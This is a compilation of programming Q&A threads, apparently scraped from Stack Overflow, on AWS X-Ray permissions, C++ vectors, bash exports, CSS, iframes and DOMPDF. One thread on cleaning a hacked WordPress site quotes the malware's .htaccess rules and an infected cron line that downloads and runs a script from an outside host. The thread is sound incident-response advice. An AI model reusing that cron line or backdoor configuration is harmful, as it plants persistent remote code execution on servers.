    iam.ManagedPolicy.fromAwsManagedPolicyName('AWSXRayDaemonWriteAccess')
);
</code>```

References:

AWS managed policy with required access for the X-Ray daemon: https://docs.aws.amazon.com/xray/latest/devguide/security_iam_id-based-policy-examples.html#xray-permissions-managedpolicies

Import an AWS-managed policy: https://docs.aws.amazon.com/cdk/api/v1/docs/@aws-cdk_aws-iam.ManagedPolicy.html#static-fromwbrawswbrmanagedwbrpolicywbrnamemanagedpolicyname

Access the task role: https://docs.aws.amazon.com/cdk/api/v1/docs/@aws-cdk_aws-ecs.FargateTaskDefinition.html#taskrole-1

Add a policy: https://docs.aws.amazon.com/cdk/api/v1/docs/@aws-cdk_aws-iam.IRole.html#addwbrmanagedwbrpolicypolicy

Title: AWS XRAY on Fargate service

Body:
I want to add xray to my Fargate service. Everything works (synth/deploy) but in the logs I'am seeing the following error:

2022-02-07T13:38:22Z [Error] Sending segment batch failed with:
AccessDeniedException: 2022-02-07 14:38:22status code: 403, request
id: cdc23f61-5c2e-4ede-8bda-5328e0c8ac8f

The user I'am using to deploy the application has the AWSXrayFullAccess permission.
Do I have to grant the task the permission manually? If so how?

Here is a snippet of the application:

const cdk = require('@aws-cdk/core');
const ecs = require('@aws-cdk/aws-ecs');
const ecsPatterns = require('@aws-cdk/aws-ecs-patterns');

class API extends cdk.Stack {
  constructor(parent, id, props) {
    super(parent, id, props);

    this.apiXRayTaskDefinition = new ecs.FargateTaskDefinition(this, 'apixRay-definition', {
      cpu: 256,
      memoryLimitMiB: 512,
    });

    this.apiXRayTaskDefinition.addContainer('api', {
        image: ecs.ContainerImage.fromAsset('./api'),
        environment: {
          "QUEUE_URL": props.queue.queueUrl,
          "TABLE": props.table.tableName,
          "AWS_XRAY_DAEMON_ADDRESS": "0.0.0.0:2000"
        },
        logging: ecs.LogDriver.awsLogs({ streamPrefix: 'api' }),
    }).addPortMappings({
      containerPort: 80
    })

    this.apiXRayTaskDefinition.addContainer('xray', {
      image: ecs.ContainerImage.fromRegistry('public.ecr.aws/xray/aws-xray-daemon:latest'),
      logging: ecs.LogDriver.awsLogs({ streamPrefix: 'xray' }),
    }).addPortMappings({
      containerPort: 2000,
      protocol: ecs.Protocol.UDP,
    });

    // API
    this.api = new ecsPatterns.ApplicationLoadBalancedFargateService(this, 'api', {
      cluster: props.cluster,
      taskDefinition: this.apiXRayTaskDefinition,
      desiredCount: 2,
      cpu: 256,
      memory: 512,
      createLogs: true
    })

    props.queue.grantSendMessages(this.api.service.taskDefinition.taskRole);
    props.table.grantReadWriteData(this.api.service.taskDefinition.taskRole);

  }
}

Body:
The user I'am using to deploy the application has the AWSXrayFullAccess permission.

This is irrelevant, the task will not get all the rights of the user that deploys the stack.

Yes, you need to add the required permissions to the task with

this.apiXRayTaskDefinition.taskRole.addManagedPolicy(
    iam.ManagedPolicy.fromAwsManagedPolicyName('AWSXRayDaemonWriteAccess')
);

References:

AWS managed policy with required access for the X-Ray daemon: https://docs.aws.amazon.com/xray/latest/devguide/security_iam_id-based-policy-examples.html#xray-permissions-managedpolicies

Import an AWS-managed policy: https://docs.aws.amazon.com/cdk/api/v1/docs/@aws-cdk_aws-iam.ManagedPolicy.html#static-fromwbrawswbrmanagedwbrpolicywbrnamemanagedpolicyname

Access the task role: https://docs.aws.amazon.com/cdk/api/v1/docs/@aws-cdk_aws-ecs.FargateTaskDefinition.html#taskrole-1

Add a policy: https://docs.aws.amazon.com/cdk/api/v1/docs/@aws-cdk_aws-iam.IRole.html#addwbrmanagedwbrpolicypolicy


问:
Error main: malloc.c:2401: sysmalloc: Assertion Doing a simple C++ fibonacci assignment
I am working on this assignment and i trying to figure this out. When i input any other numbers between 1 to 10 except 6. The fibonacci_fast(n) outputs an error main: malloc.c:2401: sysmalloc: Assertion. However, when i use an array to replace the vector or just uncomment the std::cout. It will work fine. Can anyone enlighten me what's the error that i have made.</p>
```<code>
#include <iostream>
#include <cassert>
#include <vector>
#include <algorithm>

int fibonacci_naive(int n) {
        if (n <= 1)
        return n;

    return fibonacci_naive(n - 1) + fibonacci_naive(n - 2);

}

int fibonacci_fast(int n) {

    std::vector<int> numbers{0,n};
    numbers[0] =0;
    numbers[1] =1;
    int ans=0;
    if (n <= 1)
    {
        return n;
    }

        //std::cout<<std::endl;
        //int numbers[n];

        for(int i=2;i<=n;i++)
        {
            numbers[i] = numbers[i-1] + numbers[i-2];

        }

        ans = numbers[n];

        return ans;

}

void test_solution() {
    assert(fibonacci_fast(3) == 2);
    assert(fibonacci_fast(10) == 55);
    for (int n = 0; n < 20; ++n)
        assert(fibonacci_fast(n) == fibonacci_naive(n));
}

int main() {
    int n = 0;
    std::cin >> n;

    //std::cout << fibonacci_naive(n) << '\n';
    //test_solution();
    std::cout << fibonacci_fast(n) << std::endl;
    return 0;
}

</code>```

答: std::vector<int> numbers{0,n}; creates a vector of size 2, not of size n. You probably want to use std::vector<int> numbers(n, 0).

Body:
I am working on this assignment and i trying to figure this out. When i input any other numbers between 1 to 10 except 6. The fibonacci_fast(n) outputs an error main: malloc.c:2401: sysmalloc: Assertion. However, when i use an array to replace the vector or just uncomment the std::cout. It will work fine. Can anyone enlighten me what's the error that i have made.

#include <iostream>
#include <cassert>
#include <vector>
#include <algorithm>

int fibonacci_naive(int n) {
        if (n <= 1)
        return n;

    return fibonacci_naive(n - 1) + fibonacci_naive(n - 2);

}

int fibonacci_fast(int n) {

    std::vector<int> numbers{0,n};
    numbers[0] =0;
    numbers[1] =1;
    int ans=0;
    if (n <= 1)
    {
        return n;
    }

        //std::cout<<std::endl;
        //int numbers[n];

        for(int i=2;i<=n;i++)
        {
            numbers[i] = numbers[i-1] + numbers[i-2];

        }

        ans = numbers[n];

        return ans;

}

void test_solution() {
    assert(fibonacci_fast(3) == 2);
    assert(fibonacci_fast(10) == 55);
    for (int n = 0; n < 20; ++n)
        assert(fibonacci_fast(n) == fibonacci_naive(n));
}

int main() {
    int n = 0;
    std::cin >> n;

    //std::cout << fibonacci_naive(n) << '\n';
    //test_solution();
    std::cout << fibonacci_fast(n) << std::endl;
    return 0;
}


问:
Why do I get this bash error? "export: `/home/atul/Public/Android': not a valid identifier."
I did this from the ~ directory.

I typed this command
sudo gedit .bashrc

then I appended these lines to the file and saved it.

```<code>#Adding flutter and android path
export ANDROID= "$HOME/Public/Android"
export FLUTTER= "$ANDROID/flutter"
export PATH= "$PATH:$FLUTTER/bin"

</code>```

Now when I open the terminal I get the following error:

```<code>bash: export: `/home/atul/Public/Android': not a valid identifier
bash: export: `/flutter': not a valid identifier
bash: export: `/home/atul/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/bin': not a valid identifier
atul@mintMate:~$

</code>```

Its good that I have fish installed else I wouldn't have been able to
use the terminal.
Please help me solve this error.

答:
You cannot have a space after the = in your assignments.  Change them to this.

```<code>export ANDROID="$HOME/Public/Android"
export FLUTTER="$ANDROID/flutter"
export PATH="$PATH:$FLUTTER/bin"
</code>```

Body:
I did this from the ~ directory.

I typed this command
sudo gedit .bashrc

then I appended these lines to the file and saved it.

#Adding flutter and android path
export ANDROID= "$HOME/Public/Android"
export FLUTTER= "$ANDROID/flutter"
export PATH= "$PATH:$FLUTTER/bin"

Now when I open the terminal I get the following error:

bash: export: `/home/atul/Public/Android': not a valid identifier
bash: export: `/flutter': not a valid identifier
bash: export: `/home/atul/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/bin': not a valid identifier
atul@mintMate:~$

Its good that I have fish installed else I wouldn't have been able to
use the terminal.
Please help me solve this error.

Body:
You cannot have a space after the = in your assignments.  Change them to this.

export ANDROID="$HOME/Public/Android"
export FLUTTER="$ANDROID/flutter"
export PATH="$PATH:$FLUTTER/bin"


问:
Hacked WordPress .htaccess file
I have a WordPress site that features a .htaccess and a file called postfs.php.

But when I try to delete them, they are written again. I tried to delete all the files on the site, change permissions, check the cron ... but there isn't anything to do. These files appear as soon as I delete or edit them.

The contents of the file are as follows:

File .htaccess

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
    Order allow,deny
    Deny from all
</FilesMatch>

<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.$
    Order allow,deny
    Allow from all
</FilesMatch>

AddType application/x-httpd-cgi .sh

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . index.php [L]
</IfModule>
```

And the postfs.php file has this content: PHP Decode

How can I avoid the restoring of these files?

答:
I had the same problem and the antivirus was not able to detect it. And also the problem of automatically creating files was not related to cron jobs, as friends mentioned.

In fact, every time a page is opened from the site, those files are rebuilt.

I have carefully examined the issue and offer the solution.

The problem occurs for both .htaccess and index.php.

First we search for a keyword in the text of the file (as root):

grep -lir "wjsindex.php" ./
```
<p>Output:</p>
<pre class="lang-none prettyprint-override"><code>./wp-admin/images/arrow-rights.png
./wp-includes/images/smilies/icon_crystal.gif
./.htaccess
</code>```

For another file, we search for a keyword in the text:

grep -lir "RZXiMOEbYmVH" ./
```
<p>Output:</p>
<pre class="lang-none prettyprint-override"><code>./wp-admin/images/arrow-lefts.png
./index.php
./wp-includes/images/smilies/icon_devil.gif
</code>```

If you look at the contents of these found image files, you will see that they are not images and contain malicious code that exactly matched our two original files.

Sample:

We now search for all four files found:

grep -lirE "arrow-rights.png|icon_crystal.gif|arrow-lefts.png|icon_devil.gif" ./
```
<p>Output:</p>
<pre class="lang-none prettyprint-override"><code>./wp-includes/load.php
./wp-includes/template-loader.php
</code>```

If you edit these two results files:

At the bottom of the file load.php and at the beginning of the file template-loader.php, you will see the extra code that needs to be removed. (Starting with //ckIIbg)

To find out more exactly which sections are correct and which are malicious, just replace that file from another WordPress that you are sure is safe and the same version, or find and remove the extra sections with the diff command.

Thus:

diff  ./wp-includes/load.php ~healthy/www/wp-includes/load.php
diff  ./wp-includes/template-loader.php ~healthy/www/wp-includes/template-loader.php
```
<p>And as a final step, delete the four malicious image files:</p>
<pre class="lang-none prettyprint-override"><code>rm -f ./wp-admin/images/arrow-rights.png ./wp-includes/images/smilies/icon_crystal.gif ./wp-admin/images/arrow-lefts.png ./wp-includes/images/smilies/icon_devil.gif
</code>```

And also check cronjobs (/var/spool/cron/username) for be like this infected line and remove it:

* * * * * wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home//username/public_html 24 && rm -f xxxd
```

This code create a ./css/index.php file and can be deleted.

Title: Hacked WordPress .htaccess file

Body:
I have a WordPress site that features a .htaccess and a file called postfs.php.

But when I try to delete them, they are written again. I tried to delete all the files on the site, change permissions, check the cron ... but there isn't anything to do. These files appear as soon as I delete or edit them.

The contents of the file are as follows:

File .htaccess

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
    Order allow,deny
    Deny from all
</FilesMatch>

<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.$
    Order allow,deny
    Allow from all
</FilesMatch>

AddType application/x-httpd-cgi .sh

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . index.php [L]
</IfModule>

And the postfs.php file has this content: PHP Decode

How can I avoid the restoring of these files?

Body:
I had the same problem and the antivirus was not able to detect it. And also the problem of automatically creating files was not related to cron jobs, as friends mentioned.

In fact, every time a page is opened from the site, those files are rebuilt.

I have carefully examined the issue and offer the solution.

The problem occurs for both .htaccess and index.php.

First we search for a keyword in the text of the file (as root):

grep -lir "wjsindex.php" ./

Output:

./wp-admin/images/arrow-rights.png
./wp-includes/images/smilies/icon_crystal.gif
./.htaccess

For another file, we search for a keyword in the text:

grep -lir "RZXiMOEbYmVH" ./

Output:

./wp-admin/images/arrow-lefts.png
./index.php
./wp-includes/images/smilies/icon_devil.gif

If you look at the contents of these found image files, you will see that they are not images and contain malicious code that exactly matched our two original files.

Sample:

We now search for all four files found:

grep -lirE "arrow-rights.png|icon_crystal.gif|arrow-lefts.png|icon_devil.gif" ./

Output:

./wp-includes/load.php
./wp-includes/template-loader.php

If you edit these two results files:

At the bottom of the file load.php and at the beginning of the file template-loader.php, you will see the extra code that needs to be removed. (Starting with //ckIIbg)

To find out more exactly which sections are correct and which are malicious, just replace that file from another WordPress that you are sure is safe and the same version, or find and remove the extra sections with the diff command.

Thus:

diff  ./wp-includes/load.php ~healthy/www/wp-includes/load.php
diff  ./wp-includes/template-loader.php ~healthy/www/wp-includes/template-loader.php

And as a final step, delete the four malicious image files:

rm -f ./wp-admin/images/arrow-rights.png ./wp-includes/images/smilies/icon_crystal.gif ./wp-admin/images/arrow-lefts.png ./wp-includes/images/smilies/icon_devil.gif

And also check cronjobs (/var/spool/cron/username) for be like this infected line and remove it:

* * * * * wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home//username/public_html 24 && rm -f xxxd

This code create a ./css/index.php file and can be deleted.


问:
How to influence div with checked input if div is far away and not a relative?
A have CSS-code:

```<code> .hide, .hide + label ~ div {
    display: none;
}

.hide:checked + label + div {
    display: block;
}
</code>```

It allows me to manipulate div next to label next to checked input.

It works fine, but is there a way, that I can manipulate div with checked/unchecked that is far away from input?

My div has class "dropdown-menu" and it is not related to input in any way and like 50 lines of code after the input.

Can I connect checked value with my "dropdown-menu" div in any way with CSS?

答:
Have you tried data attributes?

https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes

Body:
A have CSS-code:

 .hide, .hide + label ~ div {
    display: none;
}

.hide:checked + label + div {
    display: block;
}

It allows me to manipulate div next to label next to checked input.

It works fine, but is there a way, that I can manipulate div with checked/unchecked that is far away from input?

My div has class "dropdown-menu" and it is not related to input in any way and like 50 lines of code after the input.

Can I connect checked value with my "dropdown-menu" div in any way with CSS?


问:
Need to retain, and synthesize NSStrings?
I'm a bit confused as to whether NSStrings should ever be retained and synthesized. I have a NSString value as an instance variable, and am retaining and synthesizing it. But I am assigning it different values such as:

```<code>self.value = @"VALUE";
....
self.value = @"DIFFERENT_VALUE";
</code>```

I'm not actually calling alloc anytime. Do I need to retain and synthesize this variable then?

答:
You can think of on-the-fly strings as autoreleased in terms of how you use them, although in reality they will probably stay around as fixed values... because you are using the accessors they will automatically get copied or retained (however you marked the accessor) and so you do need to release them in dealloc.

As for the need to @synthesize, remember all that is doing for you is actually creating the get/set methods that take the variable and place it in your iVar.  So not matter what you either need to @synethsize a property OR create the get/methods yourself - usually far better just to use @sythesize.

Body:
I'm a bit confused as to whether NSStrings should ever be retained and synthesized. I have a NSString value as an instance variable, and am retaining and synthesizing it. But I am assigning it different values such as:

self.value = @"VALUE";
....
self.value = @"DIFFERENT_VALUE";

I'm not actually calling alloc anytime. Do I need to retain and synthesize this variable then?


问:
Responsive iframe with fixed height
I'm trying to make an iframe with responsive width (filling a div) but fixed height (overflow hidden by div). But when I scale the page the video also scales down. I want the iframe to keep 100% height.

Does anyone know what I'm doing wrong here? I've tried not setting the iframes height, og setting it to auto, but it doesn't work.

HTML:

```<code><div class="container">
<div class="video-wrapper">
<iframe class="video" src="https://player.vimeo.com/video/82481183?background=1" frameborder="0" allow="autoplay" ></iframe>
</div>
</div>
</code>```

CSS:

.container {
background-color: green;
max-width: 1200px;
min-width: 700px;
height: 700px;
}

.video-wrapper {
background-color: red;
width: 100%;
height: 100%;
overflow: hidden;
}

.video {
height: 100%;
width: 100%;
}
```

https://codepen.io/marteteigen/pen/NWwdGXd

Any help is much appreciated!

答:
I tried multiple ways to use CSS for this embeded player but it looks like it has to be JS with a resize listener and absolute positionning that does the job

Codepen here to load the video: https://codepen.io/savageGoat/pen/oNoBbMz

Full code:

const vid = document.querySelector('.video');
const container = document.querySelector('.video-wrapper');
const vidWidth = vid.offsetWidth;
const vidHeight = vid.offsetHeight;
const applyWidthHeight = () => {
  const vidRatio = vidHeight / vidWidth;
  const parentHeight = container.offsetHeight;
  vid.height = parseInt(parentHeight) + 'px';
  vid.width = parseInt(parentHeight*vidRatio) + 'px';
  vid.style.height = parseInt(parentHeight) + 'px';
  vid.style.width = parseInt(parentHeight*vidRatio) + 'px';
}

window.addEventListener('resize', applyWidthHeight);
document.addEventListener('DOMContentLoaded', applyWidthHeight);```
<pre class="snippet-code-css lang-css prettyprint-override"><code>.container {
  background-color: green;
  max-width: 1200px;
  min-width: 700px;
  height: 700px;
}

.video-wrapper {
  background-color: red;
  width: 100%;
  height: 100%;
  overflow: hidden;
  position: relative;
}

.video {
  height: 100%;
  position: absolute;
  top: 0;
  left: 50%;
  transform: translateX(-50%);
}</code>```

```

Title: Responsive iframe with fixed height

Body:
I'm trying to make an iframe with responsive width (filling a div) but fixed height (overflow hidden by div). But when I scale the page the video also scales down. I want the iframe to keep 100% height.

Does anyone know what I'm doing wrong here? I've tried not setting the iframes height, og setting it to auto, but it doesn't work.

HTML:

CSS:

.container {
background-color: green;
max-width: 1200px;
min-width: 700px;
height: 700px;
}

.video-wrapper {
background-color: red;
width: 100%;
height: 100%;
overflow: hidden;
}

.video {
height: 100%;
width: 100%;
}

https://codepen.io/marteteigen/pen/NWwdGXd

Any help is much appreciated!

Body:
I tried multiple ways to use CSS for this embeded player but it looks like it has to be JS with a resize listener and absolute positionning that does the job

Codepen here to load the video: https://codepen.io/savageGoat/pen/oNoBbMz

Full code:

const vid = document.querySelector('.video');
const container = document.querySelector('.video-wrapper');
const vidWidth = vid.offsetWidth;
const vidHeight = vid.offsetHeight;
const applyWidthHeight = () => {
  const vidRatio = vidHeight / vidWidth;
  const parentHeight = container.offsetHeight;
  vid.height = parseInt(parentHeight) + 'px';
  vid.width = parseInt(parentHeight*vidRatio) + 'px';
  vid.style.height = parseInt(parentHeight) + 'px';
  vid.style.width = parseInt(parentHeight*vidRatio) + 'px';
}

window.addEventListener('resize', applyWidthHeight);
document.addEventListener('DOMContentLoaded', applyWidthHeight);

.container {
  background-color: green;
  max-width: 1200px;
  min-width: 700px;
  height: 700px;
}

.video-wrapper {
  background-color: red;
  width: 100%;
  height: 100%;
  overflow: hidden;
  position: relative;
}

.video {
  height: 100%;
  position: absolute;
  top: 0;
  left: 50%;
  transform: translateX(-50%);
}

<div class="container">
  <div class="video-wrapper">
    <iframe class="video" src="https://player.vimeo.com/video/82481183?background=1" frameborder="0" allow="autoplay" ></iframe>
  </div>
</div>


问:
DOMPDF - attach created PDF to email
What is the easiest way to attach a PDF to an email via DOMPDF?

The end of my script I am using (part of it) is below:

```<code>$dompdf = new DOMPDF();
$dompdf->load_html($html);
$dompdf->render();
//below to save the pdf file - not needed if emailing pdf
file_put_contents('/home/ststrave/public_html/pdf/STS_Brochure.pdf', $dompdf->output());
//below to open pdf in browser - required
$dompdf->stream("STS_Brochure_".rand(10,1000).".pdf", array("Attachment" => false));
jexit();
</code>```

Just for clarification - this is being used in Joomla.

Appreciate the simplest/quickest way using standard PHP mail function.

Cheers ;-)

答:
Raw Data Attachments
The attachData method may be used to attach a raw string of bytes as an attachment. For example, you might use this method if you have generated a PDF in memory and want to attach it to the email without writing it to disk. The attachData method accepts the raw data bytes as its first argument, the name of the file as its second argument, and an array of options as its third argument:</p>
```<code>/**
 * Build the message.
 *
 * @return $this
 */
public function build()
{
    return $this->view('emails.orders.shipped')
                ->attachData($this->pdf, 'name.pdf', [
                    'mime' => 'application/pdf',
                ]);
}
</code>```

Title: DOMPDF - attach created PDF to email

Body:
What is the easiest way to attach a PDF to an email via DOMPDF?

The end of my script I am using (part of it) is below:

$dompdf = new DOMPDF();
$dompdf->load_html($html);
$dompdf->render();
//below to save the pdf file - not needed if emailing pdf
file_put_contents('/home/ststrave/public_html/pdf/STS_Brochure.pdf', $dompdf->output());
//below to open pdf in browser - required
$dompdf->stream("STS_Brochure_".rand(10,1000).".pdf", array("Attachment" => false));
jexit();

Just for clarification - this is being used in Joomla.

Appreciate the simplest/quickest way using standard PHP mail function.

Cheers ;-)

Body:
Raw Data Attachments
The attachData method may be used to attach a raw string of bytes as an attachment. For example, you might use this method if you have generated a PDF in memory and want to attach it to the email without writing it to disk. The attachData method accepts the raw data bytes as its first argument, the name of the file as its second argument, and an array of options as its third argument:

/**
 * Build the message.
 *
 * @return $this
 */
public function build()
{
    return $this->view('emails.orders.shipped')
                ->attachData($this->pdf, 'name.pdf', [
                    'mime' => 'application/pdf',
                ]);
}